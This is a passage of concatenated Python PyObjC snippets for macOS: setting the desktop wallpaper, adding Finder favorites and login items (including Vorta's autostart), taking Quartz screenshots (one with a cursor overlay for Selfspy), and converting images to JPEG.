provided path") return True print("desktop image path does NOT match provided path") return False # Log the current desktop image if args.verbose: existingImageURL = getCurrentDesktopImageURL(focussedScreen, ws, logger) logger.debug("existing desktop image: %s" % existingImageURL.path()) # Set the desktop image if args.newBackgroundImagePath is not None: newImagePath = args.newBackgroundImagePath if not os.path.exists(newImagePath): logger.critical("%s does not exist" % newImagePath) return False if not os.access(newImagePath, os.R_OK): logger.critical("%s is not readable" % newImagePath) return False logger.debug("new desktop image to set: %s" % newImagePath) newImageURL = NSURL.fileURLWithPath_(newImagePath) logger.debug("new desktop image URL to set: %s" % newImageURL) status = False (status, error) = ws.setDesktopImageURL_forScreen_options_error_( newImageURL, focussedScreen, None, None) if not status: raise RuntimeError("setDesktopImageURL error") # Print the current desktop image imageURL = getCurrentDesktopImageURL(focussedScreen, ws, logger) imagePath = imageURL.path() imagePathReal = os.path.realpath(imagePath) logger.debug("updated desktop image URL: %s" % imageURL) logger.debug("updated desktop image path: %s" % imagePath) logger.debug("updated desktop image path (resolved): %s" % imagePathReal) print(imagePathReal) return True
# For some reason, these functions cannot be imported directly and must be # manually loaded from the SharedFileList bundle SFL_bundle = NSBundle.bundleWithIdentifier_( 'com.apple.coreservices.SharedFileList') functions = [ ('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'), ('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'), ('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}' ), ('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'), ] loadBundleFunctions(SFL_bundle, globals(), functions) # The path to added to the Finder's favorites path = argv[1] # Make it an URL object (which is a valid favorite item) item = NSURL.alloc().initFileURLWithPath_(path) # Retrieve the favorite items list favorite_items = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListFavoriteItems, None) # Add the item to the top of the list LSSharedFileListInsertItemURL(favorite_items, kLSSharedFileListItemBeforeFirst, None, None, item, None, None)
def open_app_at_startup(enabled=True): """ On macOS, this function adds/removes the current app bundle from Login items while on Linux it adds a .desktop file at ~/.config/autostart """ if sys.platform == 'darwin': from Foundation import NSDictionary from Cocoa import NSBundle, NSURL from CoreFoundation import kCFAllocatorDefault # CF = CDLL(find_library('CoreFoundation')) from LaunchServices import (LSSharedFileListCreate, kLSSharedFileListSessionLoginItems, LSSharedFileListInsertItemURL, kLSSharedFileListItemHidden, kLSSharedFileListItemLast, LSSharedFileListItemRemove) app_path = NSBundle.mainBundle().bundlePath() url = NSURL.alloc().initFileURLWithPath_(app_path) login_items = LSSharedFileListCreate( kCFAllocatorDefault, kLSSharedFileListSessionLoginItems, None) props = NSDictionary.dictionaryWithObject_forKey_( True, kLSSharedFileListItemHidden) new_item = LSSharedFileListInsertItemURL(login_items, kLSSharedFileListItemLast, None, None, url, props, None) if not enabled: LSSharedFileListItemRemove(login_items, new_item) elif sys.platform.startswith('linux'): from appdirs import user_config_dir from pathlib import Path is_flatpak = Path('/.flatpak-info').exists() with open( Path(__file__).parent / "assets/metadata/com.borgbase.Vorta.desktop") as desktop_file: desktop_file_text = desktop_file.read() # Find XDG_CONFIG_HOME unless when running in flatpak if is_flatpak: autostart_path = Path.home() / '.config' / 'autostart' else: autostart_path = Path(user_config_dir("autostart")) if not autostart_path.exists(): autostart_path.mkdir(parents=True, exist_ok=True) autostart_file_path = autostart_path / 'vorta.desktop' if enabled: # Replace command for flatpak if appropriate and start in background desktop_file_text = desktop_file_text.replace( "Exec=vorta", "Exec=flatpak run com.borgbase.Vorta --daemonize" if is_flatpak else "Exec=vorta --daemonize") # Add autostart delay desktop_file_text += (AUTOSTART_DELAY) autostart_file_path.write_text(desktop_file_text) elif autostart_file_path.exists(): autostart_file_path.unlink()
from CoreFoundation import CFArrayGetCount, CFArrayGetValueAtIndex, kCFAllocatorDefault from Foundation import NSBundle from LaunchServices import kLSSharedFileListFavoriteItems from objc import loadBundleFunctions from sys import argv # For some reason, these functions cannot be imported directly and must be # manually loaded from the SharedFileList bundle SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList') functions = [ ('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'), ('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'), ('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'), ('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'), ] loadBundleFunctions(SFL_bundle, globals(), functions) # The path to added to the Finder's favorites path = argv[1] # Make it an URL object (which is a valid favorite item) item = NSURL.alloc().initFileURLWithPath_(path) # Retrieve the favorite items list favorite_items = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListFavoriteItems, None) # Add the item to the top of the list LSSharedFileListInsertItemURL(favorite_items, kLSSharedFileListItemBeforeFirst, None, None, item, None, None)
def screenshot(path=None, region=None, box=None): ''' region should be a CGRect, something like: >>> import Quartz.CoreGraphics as CG >>> region = CG.CGRectMake(0, 0, 100, 100) The default region is CG.CGRectInfinite (captures the full screen) takes a screenshot and save to path if ain't None if region is None an entire screenshot is taken ''' if region is None: if box is None: pixrect = CGDisplayBounds(CGMainDisplayID()) screen_box = [pixrect[0][0], pixrect[0][1], pixrect[1][0], pixrect[1][1]] region = CG.CGRectInfinite box = screen_box else: region = CG.CGRectMake(box[0], box[1], box[2]-box[0], box[3]-box[1]) # if box[2] - box[0] < (box[3] - box[1]) * 1.6: # region = CG.CGRectMake(box[0], box[1], ( # box[3] - box[1]) * 1.6, box[3] - box[1]) # else: # region = CG.CGRectMake(box[0], box[1], box[2] - box[0], ( # box[2] - box[0]) / 1.6) # Create screenshot as CGImage image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) if not path: # Intermediate step, get pixel data as CGDataProvider prov = CG.CGImageGetDataProvider(image) # Copy data out of CGDataProvider, becomes string of bytes _data = CG.CGDataProviderCopyData(prov) # Get width/height of image #width = CG.CGImageGetWidth(image) #height = CG.CGImageGetHeight(image) return get_img_array(_data, box) url = NSURL.fileURLWithPath_(path) dest = CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypePNG, # file type 1, # 1 image in file None ) properties = { kCGImagePropertyDPIWidth: DPI, kCGImagePropertyDPIHeight: DPI, } # Add the image to the destination, characterizing the image with # the properties dictionary. CGImageDestinationAddImage(dest, image, properties) # When all the images (only 1 in this example) are # added to the destination, # finalize the CGImageDestination object. CGImageDestinationFinalize(dest)
def write_jpeg(self, input_path, output_path, compression_quality=1.0): """convert image to jpeg and write image to output_path Args: input_path: path to input image (e.g. '/path/to/import/file.CR2') as str or pathlib.Path output_path: path to exported jpeg (e.g. '/path/to/export/file.jpeg') as str or pathlib.Path compression_quality: JPEG compression quality, float in range 0.0 to 1.0; default is 1.0 (best quality) Return: True if conversion successful, else False Raises: ValueError if compression quality not in range 0.0 to 1.0 FileNotFoundError if input_path doesn't exist ImageConversionError if error during conversion """ # Set up a dedicated objc autorelease pool for this function call. # This is to ensure that all the NSObjects are cleaned up after each # call to prevent memory leaks. # https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/MemoryMgmt/Articles/mmAutoreleasePools.html # https://pyobjc.readthedocs.io/en/latest/api/module-objc.html#memory-management with objc.autorelease_pool(): # accept input_path or output_path as pathlib.Path if not isinstance(input_path, str): input_path = str(input_path) if not isinstance(output_path, str): output_path = str(output_path) if not pathlib.Path(input_path).is_file(): raise FileNotFoundError(f"could not find {input_path}") if not (0.0 <= compression_quality <= 1.0): raise ValueError( "illegal value for compression_quality: {compression_quality}" ) input_url = NSURL.fileURLWithPath_(input_path) output_url = NSURL.fileURLWithPath_(output_path) with pipes() as (out, err): # capture stdout and stderr from system calls # otherwise, Quartz.CIImage.imageWithContentsOfURL_ # prints to stderr something like: # 2020-09-20 20:55:25.538 python[73042:5650492] Creating client/daemon connection: B8FE995E-3F27-47F4-9FA8-559C615FD774 # 2020-09-20 20:55:25.652 python[73042:5650492] Got the query meta data reply for: com.apple.MobileAsset.RawCamera.Camera, response: 0 input_image = Quartz.CIImage.imageWithContentsOfURL_(input_url) if input_image is None: raise ImageConversionError( f"Could not create CIImage for {input_path}") output_colorspace = (input_image.colorSpace() or Quartz.CGColorSpaceCreateWithName( Quartz.CoreGraphics.kCGColorSpaceSRGB)) output_options = NSDictionary.dictionaryWithDictionary_({ "kCGImageDestinationLossyCompressionQuality": compression_quality }) ( _, error, ) = self.context.writeJPEGRepresentationOfImage_toURL_colorSpace_options_error_( input_image, output_url, output_colorspace, output_options, None) if not error: return True else: raise ImageConversionError( f"Error converting file {input_path} to jpeg at {output_path}: {error}" )
def write_jpeg(self, input_path, output_path, compression_quality=1.0): """ convert image to jpeg and write image to output_path Args: input_path: path to input image (e.g. '/path/to/import/file.CR2') as str or pathlib.Path output_path: path to exported jpeg (e.g. '/path/to/export/file.jpeg') as str or pathlib.Path compression_quality: JPEG compression quality, float in range 0.0 to 1.0; default is 1.0 (best quality) Return: True if conversion successful, else False Raises: ValueError if compression quality not in range 0.0 to 1.0 FileNotFoundError if input_path doesn't exist """ # accept input_path or output_path as pathlib.Path if not isinstance(input_path, str): input_path = str(input_path) if not isinstance(output_path, str): output_path = str(output_path) if not pathlib.Path(input_path).is_file(): raise FileNotFoundError(f"could not find {input_path}") if not (0.0 <= compression_quality <= 1.0): raise ValueError( "illegal value for compression_quality: {compression_quality}") input_url = NSURL.fileURLWithPath_(input_path) output_url = NSURL.fileURLWithPath_(output_path) with pipes() as (out, err): # capture stdout and stderr from system calls # otherwise, Quartz.CIImage.imageWithContentsOfURL_ # prints to stderr something like: # 2020-09-20 20:55:25.538 python[73042:5650492] Creating client/daemon connection: B8FE995E-3F27-47F4-9FA8-559C615FD774 # 2020-09-20 20:55:25.652 python[73042:5650492] Got the query meta data reply for: com.apple.MobileAsset.RawCamera.Camera, response: 0 input_image = Quartz.CIImage.imageWithContentsOfURL_(input_url) if input_image is None: logging.debug(f"Could not create CIImage for {input_path}") return False output_colorspace = input_image.colorSpace( ) or Quartz.CGColorSpaceCreateWithName( Quartz.CoreGraphics.kCGColorSpaceSRGB) output_options = NSDictionary.dictionaryWithDictionary_({ "kCGImageDestinationLossyCompressionQuality": compression_quality }) _, error = self.context.writeJPEGRepresentationOfImage_toURL_colorSpace_options_error_( input_image, output_url, output_colorspace, output_options, None) if not error: return True else: logging.debug( "Error converting file {input_path} to jpeg at {output_path}: {error}" ) return False
def screenshot(self, path, region = None): #https://pythonhosted.org/pyobjc/examples/Quartz/Core%20Graphics/CGRotation/index.html try: # record how long it takes to take screenshot start = time.time() # Set to capture entire screen, including multiple monitors if region is None: region = CG.CGRectInfinite # Create CGImage, composite image of windows in region image = CG.CGWindowListCreateImage( region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault ) scr = NSScreen.screens() xmin = 0 ymin = 0 for s in scr: if s.frame().origin.x < xmin: xmin = s.frame().origin.x if s.frame().origin.y < ymin: ymin = s.frame().origin.y nativeHeight = CGImageGetHeight(image)*1.0 nativeWidth = CGImageGetWidth(image)*1.0 nativeRatio = nativeWidth/nativeHeight prefHeight = NSUserDefaultsController.sharedUserDefaultsController().values().valueForKey_('imageSize') height = int(prefHeight/scr[0].frame().size.height*nativeHeight) width = int(nativeRatio * height) heightScaleFactor = height/nativeHeight widthScaleFactor = width/nativeWidth mouseLoc = NSEvent.mouseLocation() x = int(mouseLoc.x) y = int(mouseLoc.y) w = 16 h = 24 scale_x = int((x-xmin) * widthScaleFactor) scale_y = int((y-h+5-ymin) * heightScaleFactor) scale_w = w*widthScaleFactor scale_h = h*heightScaleFactor #Allocate image data and create context for drawing image imageData = LaunchServices.objc.allocateBuffer(int(4 * width * height)) bitmapContext = Quartz.CGBitmapContextCreate( imageData, # image data we just allocated... width, height, 8, # 8 bits per component 4 * width, # bytes per pixel times number of pixels wide Quartz.CGImageGetColorSpace(image), # use the same colorspace as the original image Quartz.kCGImageAlphaPremultipliedFirst # use premultiplied alpha ) #Draw image on context at new scale rect = CG.CGRectMake(0.0,0.0,width,height) Quartz.CGContextDrawImage(bitmapContext, rect, image) # Add Mouse cursor to the screenshot cursorPath = "../Resources/cursor.png" cursorPathStr = NSString.stringByExpandingTildeInPath(cursorPath) cursorURL = NSURL.fileURLWithPath_(cursorPathStr) # Create a CGImageSource object from 'url'. cursorImageSource = Quartz.CGImageSourceCreateWithURL(cursorURL, None) # Create a CGImage object from the first image in the file. Image # indexes are 0 based. cursorOverlay = Quartz.CGImageSourceCreateImageAtIndex(cursorImageSource, 0, None) Quartz.CGContextDrawImage(bitmapContext, CG.CGRectMake(scale_x, scale_y, scale_w, scale_h), cursorOverlay) #Recreate image from context imageOut = Quartz.CGBitmapContextCreateImage(bitmapContext) #Image properties dictionary dpi = 72 # FIXME: Should query this from somewhere, e.g for retina display properties = { Quartz.kCGImagePropertyDPIWidth: dpi, Quartz.kCGImagePropertyDPIHeight: dpi, Quartz.kCGImageDestinationLossyCompressionQuality: 0.6, } #Convert path to url for saving image pathWithCursor = path[0:-4] + "_" + str(x) + "_" + str(y) + '.jpg' pathStr = NSString.stringByExpandingTildeInPath(pathWithCursor) url = NSURL.fileURLWithPath_(pathStr) #Set image destination (where it will be saved) dest = Quartz.CGImageDestinationCreateWithURL( url, LaunchServices.kUTTypeJPEG, # file type 1, # 1 image in file None ) # Add the image to the destination, with certain properties Quartz.CGImageDestinationAddImage(dest, imageOut, properties) # finalize the CGImageDestination object. Quartz.CGImageDestinationFinalize(dest) #For testing how long it takes to take screenshot stop = time.time() print 'took ' + str(height) + 'px image in ' + str(stop-start)[:5] + ' seconds' except KeyboardInterrupt: print "Keyboard interrupt" AppHelper.stopEventLoop() except errno.ENOSPC: NSLog("No space left on storage device. Turning off Selfspy recording.") self.delegate.toggleLogging_(self) except: NSLog("couldn't save image")